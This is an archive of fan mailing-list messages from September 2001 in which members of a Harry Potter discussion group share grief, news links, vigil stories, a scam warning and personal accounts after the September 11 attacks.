Terrorist Attacks on U.S. - How can you help?
Donate cash, emergency relief information
http://dailynews.yahoo.com/fc/US/Emergency_Information/



From heidit at netbox.com  Fri Sep 14 21:15:24 2001
From: heidit at netbox.com (Tandy, Heidi)
Date: Fri, 14 Sep 2001 17:15:24 -0400
Subject: [HPFGU-OTChatter] seeking Buckingham Palace story
Message-ID: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2C96@MIAEXCH1>

Amy - I want it too - if anyone knows where it is, please let us both know!

-----Original Message-----
From: Amy Z [mailto:aiz24 at hotmail.com]
Sent: Friday, September 14, 2001 3:33 PM
To: HPFGU-OTChatter at yahoogroups.com
Subject: [HPFGU-OTChatter] seeking Buckingham Palace story


Real-To: "Amy Z" Can anyone point me to the URL for the Star-Spangled Banner
being 
played at the changing of the guard?  I searched the NPR website with 
no luck.

Thanks,
Amy Z


To unsubscribe from this group, send an email to:
HPFGU-OTChatter-unsubscribe at yahoogroups.com



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From hamster8 at hotmail.com  Fri Sep 14 21:47:58 2001
From: hamster8 at hotmail.com (hamster8 at hotmail.com)
Date: Fri, 14 Sep 2001 21:47:58 -0000
Subject: seeking Buckingham Palace story
In-Reply-To: <9ntm1m+2nll@eGroups.com>
Message-ID: <9nttue+rgd4@eGroups.com>

Amy ...

"Can anyone point me to the URL for the Star-Spangled Banner being 
played at the changing of the guard?  I searched the NPR website with 
no luck."

I'm not sure if any video clips are up yet.  Your best bet is 
probably to try a British news service.  http://www.itn.co.uk and 
http://www.bbc.co.uk may well be helpful.  I know that the BBC had a 
Real Player video of the Saint Paul's memorial service, which was on 
TV here earlier today, so there's probably a Changing of the Guard 
clip floating around somewhere.

As for me, I'm off to the BBC website now to rant about the 
disgustingly prejudiced edition of They Think It's All Over which was 
broadcast earlier.  At a time like this, dim-witted, bigoted idiots 
like Rory McGrath being racist about the Chinese are precisely what 
we do not need.

Al
-Who is still quite insanely angry.




From pengolodh_sc at yahoo.no  Fri Sep 14 22:25:10 2001
From: pengolodh_sc at yahoo.no (=?iso-8859-1?q?Christian=20Stub=F8?=)
Date: Sat, 15 Sep 2001 00:25:10 +0200 (CEST)
Subject: Warning: Phoney fundraising in wake of WTC-disaster.
Message-ID: <20010914222510.14883.qmail@web10803.mail.yahoo.com>

First, my most sincere condolences to Yael for your loss.  

Sadly, in the midst of this tragedy, there are those seeking to make financial profit
from it.

Coalition Unsolicited Commercial Emaol (CAUCE) and SpamCon Foundation warn that phoney
companies are sending out false emails asking for contributions.  Messages titled
"Victims Survivor Funds" and "Express Relief Fund" are examples.  The mails ask for money
for the benefit of those left behind after the tragedies at WTC and the Pentagon, but
these money will go straight to the swindlers' bank-accounts.  The police and FBI does
not yet have conclusive evidence that this exists, but want tips from the public.

Best regards
Christian Stub

=====
Best regards
Christian Stub
------------------------
Dolor medicatur
Puellae cicatrices amant
Gloria in aeternum durat
Borrowed (and now corrected) from the SCA-heraldry-list

______________________________________________________
Do You Yahoo!?
Organiser sammenkomsten p http://no.invites.yahoo.com



From crabtree at ktc.com  Fri Sep 14 23:18:02 2001
From: crabtree at ktc.com (Jo)
Date: Fri, 14 Sep 2001 23:18:02 -0000
Subject: A bit of sunshine...
In-Reply-To: <F24c0D543TuylJc0xvl00009cb0@hotmail.com>
Message-ID: <9nu37a+10q54@eGroups.com>

--- In HPFGU-OTChatter at y..., "Amber ?" <inviziblegirl at h...> wrote:
> 
> After being generally depressed over the recent events, I had a 
little 
> sunshine in my life today. I don't know if anyone read my post on 
how I 
> might've hooked my brother on Harry Potter (dang, I didn't realize 
how long 
> that post was until after I sent it). Anyways, my brother called 
today to 
> tell me that he had JUST finished POA.
> 
<snip>

> Ladies and gentlemen, we have another fan (maybe fanatic!). Maybe 
I'll try 
> to drag him on the list...after he reads GOF o'course!
> 
> ~Amber
>
<snip>

Amber, 

I am so excited about your brother.  When you posted earlier about him 
starting to read SS, I wanted to tell you how neat that was, but 
before I could get to it, the tragedy in NY/DC happened.  It is such a 
thrill to introduce these books to someone and see them become so 
excited about reading them.  Recently I got one of our kindergarten 
teachers started, and now she is crazy about them.  She even bought me 
one of those lightning bolt pens to say "thank you" for introducing 
her to Harry.  

Because of the horrible tragedy, everyone around the US is showing 
their patriotism.  Tonight our small town football team is going into 
the game with US flag stickers on their helments in honor of those 
whose lives have been lost and those who are mourning their loss.

I was so touched yesterday by the acts of respect from around the 
world.  It gives us a warm fuzzy feeling.  Thanks.

Professor Phlash




From jenP_97 at yahoo.com  Fri Sep 14 23:20:56 2001
From: jenP_97 at yahoo.com (Jennifer Piersol)
Date: Fri, 14 Sep 2001 23:20:56 -0000
Subject: seeking Buckingham Palace story
In-Reply-To: <9nttue+rgd4@eGroups.com>
Message-ID: <9nu3co+78h7@eGroups.com>

--- In HPFGU-OTChatter at y..., hamster8 at h... wrote:
> Amy ...
> 
> "Can anyone point me to the URL for the Star-Spangled Banner being 
> played at the changing of the guard?  I searched the NPR website 
> with no luck."
> 
> I'm not sure if any video clips are up yet.  Your best bet is 
> probably to try a British news service.  http://www.itn.co.uk and 
> http://www.bbc.co.uk may well be helpful.  I know that the BBC had
> a Real Player video of the Saint Paul's memorial service, which was
> on TV here earlier today, so there's probably a Changing of the 
> Guard clip floating around somewhere.

I went looking, and indeed, there's a changing of the guard video at 
itn - here's the link to the "Britain Mourns" page...

http://www.itn.co.uk/usattacks/britain.shtml

The first "article" has a video of the ceremony (realplayer).

Be sure to watch the St. Paul's video, too (on the main page, I
think) - it's very touching.

Jen





From neilward at dircon.co.uk  Fri Sep 14 23:28:34 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Sat, 15 Sep 2001 00:28:34 +0100
Subject: A personal report from a Washington, DC firefighter
Message-ID: <010b01c13d74$f97cf060$923670c2@c5s910j>

The report below comes from one of my business contacts in Washington.  I'm
sure he won't mind me posting it here, as he wrote the account for a local
newspaper.

In his spare time, this guy is a volunteer firefighter in Falls Church,
Virginia outside Washington, DC, and he was formerly a firefighter in New
York.  The account below concerns this volunteer's view, as part of the
Arlington County Fire and Emergency Medical Services Department, which
covers the Pentagon.

Neil

****
"Smoke continued to rise across South Arlington as we approached a landscape
covered with emergency vehicles from the entire metropolitan area.  Metro
employees were directing busses for transportation and shelter.  The Red
Cross as well as Falls Church and Annandale Fire Department canteens, the
Salvation Army, and others were efficiently serving hundreds of workers.
Military  personnel and specialized rescue teams were preparing for the grim
tasks of recovering and identifying victims. Chaplains from all faiths
circulated among the firefighters and their fellow military personnel
offering encouragement.

A DC fire truck passed through the busy field with an American flag flying
from the back step.  It captured the sense of unity in the immediate
surroundings.  Men and women of every race and background were engaged in an
effort with the same sense of purpose that has enabled our countrymen to
withstand challenges at home and abroad for over two centuries.
The unique construction of the Pentagon and the catastrophic damage made
extinguishment of the fire very difficult.  Pockets of flame on the roof
were visible throughout the night, but crews worked methodically to control
them.

Anyone who has visited the Pentagon is normally struck by the efficiency and
order of the massive complex.  Upon entering the building with our crew, a
very different picture gradually came into focus in the smoky hallways.
Debris clogged some corridors almost from the floor to the ceiling.
Thousands of files, desks, office equipment, and other articles were
scattered everywhere.  Supply carts, tools, and other items were left where
workers had been before evacuating.  A tree in the courtyard contained
clothing and other every-day items blown from the building.

For an hour or so, we placed lights inside the structure and repositioned
hose lines used at the height of the fire.  The men and women who initially
responded had obviously faced enormous and more exhausting challenges, and
some of our colleagues reported far more gruesome scenes from other areas of
the building.

When our duties were completed, we boarded a school bus to return to the
fire station.  After cleaning up our gear and replacing equipment, I
realized that my car was still parked in a DC garage.  I walked home through
the silent streets of the City, a good opportunity to offer a prayer of
thanks for the safety of my friends and family and to reflect on what is
truly important in life.  As I approached Cherry Hill Park, a police officer
was returning to routine patrol.  The soft light on the George Mason
monument next to City Hall was a reminder of the principles we so often take
for granted, ideals that were severely tested this day.

When I arrived home and saw my 3 year old daughter sleeping in the dim light
from our hallway, I was reminded of  the famous painting inspired by
President Roosevelt and drawn by Norman Rockwell in the darkest days of
World War II.  The work is entitled Freedom from Fear and shows parents
putting their children to bed.  The father is holding a newspaper bearing a
headline about the Pacific Theater.

Tuesday's events tested the courage of thousands of Americans and indelibly
etched terrible images in our minds and hearts.  Our open society
occasionally exacts a terrible price when confronted by those with evil
intentions.  Our nation and our way of life have often been challenged, but
never in such a calculated and brutal manner directed at so many citizens in
the midst of their daily routines.
We can take comfort, however, in the fact that the tragic events inspired
the overwhelming majority of our fellow citizens to do good in so many ways.
In the days ahead, we will know the full impact on our own City and
neighboring communities, where the families of many victims will need our
prayers and support.  Let us all sustain that urge to help in consoling and
assisting those who have suffered from this national tragedy.  Let us also
pray for healing in a world where the violence we have just experienced is a
constant and nagging fear of millions."






From hamster8 at hotmail.com  Fri Sep 14 23:38:32 2001
From: hamster8 at hotmail.com (hamster8 at hotmail.com)
Date: Fri, 14 Sep 2001 23:38:32 -0000
Subject: British news videos online ... was 'looking for Buckingham Palace.'
In-Reply-To: <9nttue+rgd4@eGroups.com>
Message-ID: <9nu4do+1u6q@eGroups.com>

I know this is not the Changing of the Guard, and it doesn't appear 
to be there, but there are downloadable videos in Windows Media 
Player at http://www.sky.com/skynews/video ... the closest match I 
can get to Amy and heidi's request is the Star-Spangled Banner being 
sung today at St Pauls, which I know isn't quite the same.  Anyhow, 
they might be worth checking out.

Al




From jenP_97 at yahoo.com  Fri Sep 14 23:58:09 2001
From: jenP_97 at yahoo.com (Jennifer Piersol)
Date: Fri, 14 Sep 2001 23:58:09 -0000
Subject: seeking Buckingham Palace story
In-Reply-To: <9nttue+rgd4@eGroups.com>
Message-ID: <9nu5ih+arr0@eGroups.com>

--- In HPFGU-OTChatter at y..., hamster8 at h... wrote:
> Amy ...
> 
> "Can anyone point me to the URL for the Star-Spangled Banner being 
> played at the changing of the guard?  I searched the NPR website 
with 
> no luck."
> 
> I'm not sure if any video clips are up yet.  Your best bet is 
> probably to try a British news service.  http://www.itn.co.uk and 
> http://www.bbc.co.uk may well be helpful.  I know that the BBC had a 
> Real Player video of the Saint Paul's memorial service, which was on 
> TV here earlier today, so there's probably a Changing of the Guard 
> clip floating around somewhere.

<snip>

> Al
> -Who is still quite insanely angry.

Both ITN and BBC have copies of the St. Paul service (which is very 
touching, and also has a bit where they sing the Star-Spangled 
Banner), and if you go to:

http://www.itn.co.uk/usattacks/britain.shtml

you *should* be able to see a video of the Changing of the Guard 
ceremony.  However, I've been having trouble getting it to load, so 
it's not a guarantee.  You can see a "snippet" at abcnews.com:

http://abcnews.go.com/sections/us/video_index/video_index.html

And then click the link "The World Mourns"

This one's been working, and even though it's only about 20-30 
seconds' worth, it made me tear up...

Hope this helps, and I'm sure you'll find a video in the next couple 
of days...

Jen

Ps.  I saw it while watching tv... when they do the wrap-up tonight 
on any of the major broadcast stations, they may show it again.




From jenP_97 at yahoo.com  Sat Sep 15 00:11:45 2001
From: jenP_97 at yahoo.com (Jennifer Piersol)
Date: Sat, 15 Sep 2001 00:11:45 -0000
Subject: Getting frustrated (and re: Buckingham Palace video)
Message-ID: <9nu6c1+1018q@eGroups.com>

Two times I have tried to respond to the request for a BP/Changing of 
the Guard video, but it keeps eating my messages.  How frustrating!  
In that time, Al responded, but I've got a couple more specific sites 
- if I can post them this time.

First, ITN and BBC both have video of the St. Paul's ceremony... 
which is very touching, and I recommend you watch it.  They're both 
available on the main pages, but my best video came from 
http://www.sky.com/skynews/video - down at "'Star Spangled Banner at 
St. Paul's Cathedral"

Secondly, you can get a "snippet" of the Changing of the guard 
ceremony at abcnews.com.  go here:

http://abcnews.go.com/sections/us/video_index/video_index.html

and click on "The World Mourns."

Finally, ITN is *supposed* to have a larger clip of the changing of 
the guard ceremony, but I haven't (as of yet) been able to get 
RealPlayer to load it.  Here's the link:

http://www.itn.co.uk/usattacks/britain.shtml

The first "article" has a link to the video, but like I said, I 
haven't had any luck yet.

Hope this helps, and I hope this is actually posted this time.  And, 
of course, I hope there aren't two other messages that are basically 
duplicates of this now. ;)

Jen





From jenP_97 at yahoo.com  Sat Sep 15 00:13:59 2001
From: jenP_97 at yahoo.com (Jennifer Piersol)
Date: Sat, 15 Sep 2001 00:13:59 -0000
Subject: seeking Buckingham Palace story
In-Reply-To: <9nttue+rgd4@eGroups.com>
Message-ID: <9nu6g7+jji5@eGroups.com>

--- In HPFGU-OTChatter at y..., hamster8 at h... wrote:
> Amy ...
> 
> "Can anyone point me to the URL for the Star-Spangled Banner being 
> played at the changing of the guard?  I searched the NPR website 
with 
> no luck."
> 
> I'm not sure if any video clips are up yet.  Your best bet is 
> probably to try a British news service.  http://www.itn.co.uk and 
> http://www.bbc.co.uk may well be helpful.  I know that the BBC had a 
> Real Player video of the Saint Paul's memorial service, which was on 
> TV here earlier today, so there's probably a Changing of the Guard 
> clip floating around somewhere.
> 
> As for me, I'm off to the BBC website now to rant about the 
> disgustingly prejudiced edition of They Think It's All Over which 
was 
> broadcast earlier.  At a time like this, dim-witted, bigoted idiots 
> like Rory McGrath being racist about the Chinese are precisely what 
> we do not need.
> 
> Al
> -Who is still quite insanely angry.




From jenP_97 at yahoo.com  Sat Sep 15 00:14:10 2001
From: jenP_97 at yahoo.com (jenP_97 at yahoo.com)
Date: Sat, 15 Sep 2001 00:14:10 -0000
Subject: seeking Buckingham Palace story
In-Reply-To: <9nttue+rgd4@eGroups.com>
Message-ID: <9nu6gi+68sh@eGroups.com>

--- In HPFGU-OTChatter at y..., hamster8 at h... wrote:
> Amy ...
> 
> "Can anyone point me to the URL for the Star-Spangled Banner being 
> played at the changing of the guard?  I searched the NPR website 
with 
> no luck."
> 
> I'm not sure if any video clips are up yet.  Your best bet is 
> probably to try a British news service.  http://www.itn.co.uk and 
> http://www.bbc.co.uk may well be helpful.  I know that the BBC had a 
> Real Player video of the Saint Paul's memorial service, which was on 
> TV here earlier today, so there's probably a Changing of the Guard 
> clip floating around somewhere.
> 
> As for me, I'm off to the BBC website now to rant about the 
> disgustingly prejudiced edition of They Think It's All Over which 
was 
> broadcast earlier.  At a time like this, dim-witted, bigoted idiots 
> like Rory McGrath being racist about the Chinese are precisely what 
> we do not need.
> 
> Al
> -Who is still quite insanely angry.




From jenP_97 at yahoo.com  Sat Sep 15 00:23:19 2001
From: jenP_97 at yahoo.com (jenP_97 at yahoo.com)
Date: Sat, 15 Sep 2001 00:23:19 -0000
Subject: ARGH! (and re: Buckingham Palace Video)
Message-ID: <9nu71n+s7ph@eGroups.com>

Okay, maybe the 4th time is a charm.  Yahoo has eaten my last 3 
attempts at this...

Al mentioned that BBC and ITN would be good places to start.  I'll 
add a new one: sky.com.  They have a pretty good (quality-wise, 
especially) video of the St. Paul's ceremony here:

http://www.sky.com/skynews/video/

and click the "star-spangled banner" link from the 13th.

You can find a "snippet" of the Changing of the Guard ceremony at 
abcnews.com:

http://abcnews.go.com/sections/us/video_index/video_index.html

and click on "The World Mourns"

ITN is *supposed* to have a larger clip of the Changing of the Guard 
ceremony, but I will warn you now that I haven't been able to get it 
to load in RealPlayer.  Here's the link, however, hoping that you'll 
have better luck than I have:

http://www.itn.co.uk/usattacks/britain.shtml

and the first "article" has a link to the video.

Hope this helps, and I hope it finally shows up.  I also hope that 
there aren't 3 other (almost) identical posts from me now.  ;)

Jen







From jenP_97 at yahoo.com  Sat Sep 15 00:24:02 2001
From: jenP_97 at yahoo.com (Jennifer Piersol)
Date: Sat, 15 Sep 2001 00:24:02 -0000
Subject: I knew it!
Message-ID: <9nu732+aa1i@eGroups.com>

Sorry, there are going to be multiple posts from me.  Darnit, 
Yahoo!!!!!!!!

Hacked off,
Jen




From meboriqua at aol.com  Sat Sep 15 01:07:20 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Sat, 15 Sep 2001 01:07:20 -0000
Subject: Amazing Candlelight Vigil
Message-ID: <9nu9k8+hojm@eGroups.com>

Hey Everyone -

This is not something I saw on the news (which I've been watching 
almost nonstop) so I don't know for sure how it started.

Raul and I were walking home from dinner at 7pm and we saw people 
outside lighting candles.  As we walked home, we saw people standing 
in clusters, quietly holding candles.  Some people sang "America the 
Beautiful" and others passed candles to one another.  

At our street corner, a child was handing out candles to everyone who 
walked by.  Raul and I went upstairs, got a candle and went back 
outside.  It was amazing; not a car honked (which is a rarity in 
Manhattan) and people walked by, keeping their voices down.  Every 
street corner was crowded with people holding their candles.  Some 
stayed out for nearly an hour.  It was touching and beautiful.

I love my city!

--jenny from ravenclaw and new york ***********************




From witchwanda2002 at yahoo.com  Sat Sep 15 02:02:22 2001
From: witchwanda2002 at yahoo.com (Wanda Mallett)
Date: Fri, 14 Sep 2001 19:02:22 -0700 (PDT)
Subject: [HPFGU-OTChatter] Amazing Candlelight Vigil
In-Reply-To: <9nu9k8+hojm@eGroups.com>
Message-ID: <20010915020222.82411.qmail@web13703.mail.yahoo.com>


--- meboriqua at aol.com wrote:
> Hey Everyone -
> 
> This is not something I saw on the news (which I've
> been watching 
> almost nonstop) so I don't know for sure how it
> started.
> 
> Raul and I were walking home from dinner at 7pm and
> we saw people 
> outside lighting candles.  As we walked home, we saw
> people standing 
> in clusters, quietly holding candles.  Some people
> sang "America the 
> Beautiful" and others passed candles to one another.
>  
> 
> At our street corner, a child was handing out
> candles to everyone who 
> walked by.  Raul and I went upstairs, got a candle
> and went back 
> outside.  It was amazing; not a car honked (which is
> a rarity in 
> Manhattan) and people walked by, keeping their
> voices down.  Every 
> street corner was crowded with people holding their
> candles.  Some 
> stayed out for nearly an hour.  It was touching and
> beautiful.
> 
> I love my city!
> 
> --jenny from ravenclaw and new york


Jenny from Ravenclaw this is Wanda from Hufflepuff.
Same thing on my street here in Revere, Massachusetts!
Candles and GOD BLESS AMERICA sung too! It was very
emotional to see how people band together! I hope NY
gets back on her feet soon and at the Pentagon. So
many need closure, sometimes you wish you could hug
their problems away, but in reality all you can do is
cry with them. I have done so all week! My husband,
Roy, is still in shock! When he is home, he is focused
on the updates. He was in Vietnam for 2 years. He has
seen to much horror over there. Now it is America! His
country he fought for, to hurt like this, is a lot of
pain he sees again. So many feel the same way. 
Well, Jenny from Ravenclaw, hope you and all of our
NYC HP family, keep venting to the group and hope
somone helps someone else with their pain.

Schnoogles,
Wanda the Witch of Revere, Massachusetts and Her Merry
Band of Muggles(not so merry this week)  







> ***********************
> 
> 


__________________________________________________
Terrorist Attacks on U.S. - How can you help?
Donate cash, emergency relief information
http://dailynews.yahoo.com/fc/US/Emergency_Information/



From witchwanda2002 at yahoo.com  Sat Sep 15 03:19:14 2001
From: witchwanda2002 at yahoo.com (Wanda Mallett)
Date: Fri, 14 Sep 2001 20:19:14 -0700 (PDT)
Subject: a very small world after all
Message-ID: <20010915031914.59799.qmail@web13707.mail.yahoo.com>

Just wanted to share this with you all. It just goes
to show you how everyone is effected by this. I went
to school with Denise and we graduated from Everett
High School in 1971. The post came from my friend
Gracie who graduated Everett High in 1967. What a
waste of human life. They really have to find out who
and why!???????? Just have to take it day by day and
try to keep calm and sane in front of the boys, not
easy when you cry with each family member looking for
someone. Just venting like others.

Wanda the sad witch right now with sad muggles too.




From: Scarlett63976 at aol.com | Block Address | Add to
Address Book 
Date: Fri, 14 Sep 2001 22:14:40 EDT 
Subject: Re: Vigil  
To: witchwanda2002 at yahoo.com 
         
 

Wanda I miss you so much.  We are in the same city but
never seem to see each other.  My daughter is fine and
pregnant again for the 4th and last time.  It is
another girl they say but who knows.   
Do you remember Denise Trentini on Wellington Ave. 
Her son and his wife Mary were on the first plane that
hit the WTC.  Very sad Wanda very sad.  I am afraid it
is an inside job as ABC stated this morning that a 4"
blade and a plastic knife was found on a plane that
the FBI  were checking out.  No one had been on the
plane  This is not the end my friend only the
beginning.   

__________________________________________________
Terrorist Attacks on U.S. - How can you help?
Donate cash, emergency relief information
http://dailynews.yahoo.com/fc/US/Emergency_Information/



From catlady at wicca.net  Sat Sep 15 03:33:19 2001
From: catlady at wicca.net (catlady at wicca.net)
Date: Sat, 15 Sep 2001 03:33:19 -0000
Subject: a very small world after all
In-Reply-To: <20010915031914.59799.qmail@web13707.mail.yahoo.com>
Message-ID: <9nui5v+aqv9@eGroups.com>

--- In HPFGU-OTChatter at y..., Wanda Mallett <witchwanda2002 at y...> 
wrote:

> Wanda the sad witch right now with sad muggles too.

Poor Wanda, I send you a virtual hug.

> Do you remember Denise Trentini on Wellington Ave. 
> Her son and his wife Mary were on the first plane that
> hit the WTC.  Very sad Wanda very sad. 

This is probably a good time to take a casserole or an apple pie to 
Denise. Hug her for me, too. 

> I am afraid it is an inside job as ABC stated this morning that 
> a 4" blade and a plastic knife was found on a plane that the FBI 
> were checking out.  

I think it must have been an inside job.  But I haven't heard 
that bit of news. It might not be true -- a lot of news flashes have 
been retracted when they were found to have been misunderstandings in 
the first place.




From katzefan at yahoo.com  Sat Sep 15 03:58:14 2001
From: katzefan at yahoo.com (katzefan at yahoo.com)
Date: Sat, 15 Sep 2001 03:58:14 -0000
Subject: A bright spot - thanks to Americans
Message-ID: <9nujkm+krui@eGroups.com>

The following (which has been edited for space consideration) 
appeared in a local Niagara paper Friday. Some 100 children 
from Southern Ontario, all with serious illnesses or physical 
challenges, were left stranded in Orlando, Florida, after the 
terrorist attacks in NYC and Washington DC closed Disneyworld 
and also closed American airspace. However, despite all that 
was going on in their own country, Orlando residents were not 
about to let the kids sit there and be frightened, nor go
home disappointed....

***************************
WELLAND

For the parents of a group of Niagara children, the word RELIEF 
is spelled in big capital letters.
They are the parents of 14 children between the ages of seven 
and 19 who were stranded in Orlando, Florida, for three days in 
the aftermath of Tuesday's terrorist attacks in New York City and 
Washington, D.C. The children  finally arrived back home 
Thursday afternoon.
The 14 were part of a group of 95 children from all over Southern 
Ontario, all with life-threatening illnesses or severe physical 
challenges, who were sent on a one-day dream trip to Disney 
World by Sunshine Dreams for  Kids of London, Ont.
But the attacks also closed Disney World, and because all air 
traffic in the U.S. was grounded, their Skycharter aircraft could not 
take them back. They ended up in a hotel. Also part of the group 
were 85 adults, including medical personnel, volunteers and 
airplane crew.
Nancy Kacur of Ridgeway let her son Nathan, 19, go on the trip.
She was driving back from the Hamilton airport Tuesday 
morning after dropping him off, "when I heard about it (the 
attacks)."
Like so many other people, "I didn't believe it was real,"
she said Thursday afternoon. "This can't be happening,"
she said she told herself. "Not today."
At about noon the Sunshine foundation called her to say the 
airplane had landed at  Orlando and the children were safe....
The children were disappointed Disney World was closed in the 
wake of  the terrorist attack, "but they had a great time
anyway," said Bill Rockwood, executive director of Sunshine 
Dreams for Kids.
On Tuesday evening a group of Boy Scouts loaded with board 
games came to their hotel. 
And since the children couldn't go to Disney World, Disney World 
came to them. Mickey, Minnie and many of the other characters 
who inhabit the park ame to the hotel on Wednesday to entertain 
them there, said Rockwood.
McDonald's sent in a free lunch for everyone.
Wal Mart donated clean underwear for anyone who wanted it, 
and TJ?Max Estates, operators of the Winner's chain of
clothing stores, donated $150 worth of clothes to everyone on 
the airplane, said Rockwood.
Parents are also grateful to the Sheriff's Department of Orange 
County, where Orlando is located.
"They were wonderful," said Mary Carew of Thorold, mother of 
15-year-old B.J. Carew. "They went to the hotel and took the kids 
to local malls"  and other places.
"The Americans took very good care of our kids," she said....
The organization called parents again on Thursday to tell them 
the airplane had received special medevac permission to return 
to Canada and that  their children would be arriving at the 
Hamilton airport at 6 p.m....





From witchwanda2002 at yahoo.com  Sat Sep 15 03:59:06 2001
From: witchwanda2002 at yahoo.com (Wanda Mallett)
Date: Fri, 14 Sep 2001 20:59:06 -0700 (PDT)
Subject: [HPFGU-OTChatter] Re: a very small world after all
In-Reply-To: <9nui5v+aqv9@eGroups.com>
Message-ID: <20010915035906.53835.qmail@web13701.mail.yahoo.com>

What a great suggestion! Thank you,CatLady, how wise
you are! I am going to follow your great suggestion
and let the hugs reach out and hug her! Thank you!

Wanda who is feeling so much better and will hug a
friend tomorrow
 
--- catlady at wicca.net wrote:
> --- In HPFGU-OTChatter at y..., Wanda Mallett
> <witchwanda2002 at y...> 
> wrote:
> 
> > Wanda the sad witch right now with sad muggles
> too.
> 
> Poor Wanda, I send you a virtual hug.
> 
> > Do you remember Denise Trentini on Wellington Ave.
> 
> > Her son and his wife Mary were on the first plane
> that
> > hit the WTC.  Very sad Wanda very sad. 
> 
> This is probably a good time to take a casserole or
> an apple pie to 
> Denise. Hug her for me, too. 
> 
> > I am afraid it is an inside job as ABC stated this
> morning that 
> > a 4" blade and a plastic knife was found on a
> plane that the FBI 
> > were checking out.  
> 
> I think it must have been an inside job.  But I
> haven't heard 
> that bit of news. It might not be true -- a lot of
> news flashes have 
> been retracted when they were found to have been
> misunderstandings in 
> the first place.
> 
> 


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From neilward at dircon.co.uk  Sat Sep 15 07:32:39 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Sat, 15 Sep 2001 08:32:39 +0100
Subject: The past few days...
Message-ID: <007c01c13db8$af9467a0$a13470c2@c5s910j>

I know several people have said this already, and it seems rather obvious to
say it, but this tragedy has deeply affected many people outside the US.
Those horrific images are running through my mind as I write this and it
doesn't feel right yet to try to file them away and move on, not that doing
that would be easy.  I can hardly imagine what it must be like to be closer
to all this than I am, here, in London.

The playing of the US National Anthem during the Changing of the Guard at
Buckingham Palace made me cry as I watched it on the news.  I'm not the
steeliest of men, but I had been unable to cry until that point, probably
out of sheer disbelief at what had happened.

On Wednesday morning, the commuter trains and buses in the British capital
were subdued, as pretty much everyone was reading about Tuesday's events in
the newspapers; many of us witnessed others sobbing openly on their way to
work.  On Wednesday and Thursday, I heard, with relief, that business
colleagues in New York and Washington were okay, and, with sadness, that
some of them had lost friends or relatives.  On Friday, we observed the
Europe-wide three minute silence in my office: for 180 seconds that seemed
like an hour, I sat, with my secretary crying her heart out in the next
room, feeling angry that traffic continued to stream past the window instead
of pulling over.

The friendship in this group has been something to treasure over the past
few days.  The advance of technology has allowed us a small world within our
world that has strengthened the ties between us.  I hope the human race can
now advance and eradicate terrorism, war, prejudice and hatred.  I hope
against hope that it can do that.

Neil





From witchwanda2002 at yahoo.com  Sat Sep 15 12:40:00 2001
From: witchwanda2002 at yahoo.com (Wanda Mallett)
Date: Sat, 15 Sep 2001 05:40:00 -0700 (PDT)
Subject: [HPFGU-OTChatter] A bright spot - thanks to Americans
In-Reply-To: <9nujkm+krui@eGroups.com>
Message-ID: <20010915124000.91339.qmail@web13701.mail.yahoo.com>

When we read and hear such uplifting stories, it helps
the pain go away after so many days of not knowing
who's alive, missing or dead. I'm sharing this with
all my email family and friends and especially my
husband and boys!! A big thank you from Revere,
Massachusetts!

Wanda and her 3 stooges, their humor is coming back!
 
--- katzefan at yahoo.com wrote:
> The following (which has been edited for space
> consideration) 
> appeared in a local Niagara paper Friday. Some 100
> children 
> from Southern Ontario, all with serious illnesses or
> physical 
> challenges, were left stranded in Orlando, Florida,
> after the 
> terrorist attacks in NYC and Washington DC closed
> Disneyworld 
> and also closed American airspace. However, despite
> all that 
> was going on in their own country, Orlando residents
> were not 
> about to let the kids sit there and be frightened,
> nor go
> home disappointed....
> 
> ***************************
> WELLAND
> 
> For the parents of a group of Niagara children, the
> word RELIEF 
> is spelled in big capital letters.
> They are the parents of 14 children between the ages
> of seven 
> and 19 who were stranded in Orlando, Florida, for
> three days in 
> the aftermath of Tuesday's terrorist attacks in New
> York City and 
> Washington, D.C. The children  finally arrived back
> home 
> Thursday afternoon.
> The 14 were part of a group of 95 children from all
> over Southern 
> Ontario, all with life-threatening illnesses or
> severe physical 
> challenges, who were sent on a one-day dream trip to
> Disney 
> World by Sunshine Dreams for  Kids of London, Ont.
> But the attacks also closed Disney World, and
> because all air 
> traffic in the U.S. was grounded, their Skycharter
> aircraft could not 
> take them back. They ended up in a hotel. Also part
> of the group 
> were 85 adults, including medical personnel,
> volunteers and 
> airplane crew.
> Nancy Kacur of Ridgeway let her son Nathan, 19, go
> on the trip.
> She was driving back from the Hamilton airport
> Tuesday 
> morning after dropping him off, "when I heard about
> it (the 
> attacks)."
> Like so many other people, "I didn't believe it was
> real,"
> she said Thursday afternoon. "This can't be
> happening,"
> she said she told herself. "Not today."
> At about noon the Sunshine foundation called her to
> say the 
> airplane had landed at  Orlando and the children
> were safe....
> The children were disappointed Disney World was
> closed in the 
> wake of  the terrorist attack, "but they had a great
> time
> anyway," said Bill Rockwood, executive director of
> Sunshine 
> Dreams for Kids.
> On Tuesday evening a group of Boy Scouts loaded with
> board 
> games came to their hotel. 
> And since the children couldn't go to Disney World,
> Disney World 
> came to them. Mickey, Minnie and many of the other
> characters 
> who inhabit the park ame to the hotel on Wednesday
> to entertain 
> them there, said Rockwood.
> McDonald's sent in a free lunch for everyone.
> Wal Mart donated clean underwear for anyone who
> wanted it, 
> and TJMax Estates, operators of the Winner's chain
> of
> clothing stores, donated $150 worth of clothes to
> everyone on 
> the airplane, said Rockwood.
> Parents are also grateful to the Sheriff's
> Department of Orange 
> County, where Orlando is located.
> "They were wonderful," said Mary Carew of Thorold,
> mother of 
> 15-year-old B.J. Carew. "They went to the hotel and
> took the kids 
> to local malls"  and other places.
> "The Americans took very good care of our kids," she
> said....
> The organization called parents again on Thursday to
> tell them 
> the airplane had received special medevac permission
> to return 
> to Canada and that  their children would be arriving
> at the 
> Hamilton airport at 6 p.m....
> 
> 
> 


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From witchwanda2002 at yahoo.com  Sat Sep 15 13:17:56 2001
From: witchwanda2002 at yahoo.com (Wanda Mallett)
Date: Sat, 15 Sep 2001 06:17:56 -0700 (PDT)
Subject: [HPFGU-OTChatter] The past few days...
In-Reply-To: <007c01c13db8$af9467a0$a13470c2@c5s910j>
Message-ID: <20010915131756.94612.qmail@web13702.mail.yahoo.com>

Sad to say, but it won't go away. Even here in the US
there are money hungery jerks out to scam people using
WTC tradgedy as their line to get people to donate
money. After Hurricane Andrew, jerks were scaming
people over water, food, wood, everything! Hate will
never go away as long as these jerks think they are
above everyone else! There will always be that evil
